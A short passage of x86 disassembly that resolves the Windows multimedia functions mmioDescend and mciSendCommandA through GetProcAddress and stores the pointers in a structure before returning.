push str.mmioDescend
push dword [esi + 4]
mov dword [esi + 0x18], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
push str.mciSendCommandA
push dword [esi + 4]
mov dword [esi + 0x1c], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [esi + 0x20], eax
mov byte [esi + 0x24], 1
mov al, 1
pop esi
ret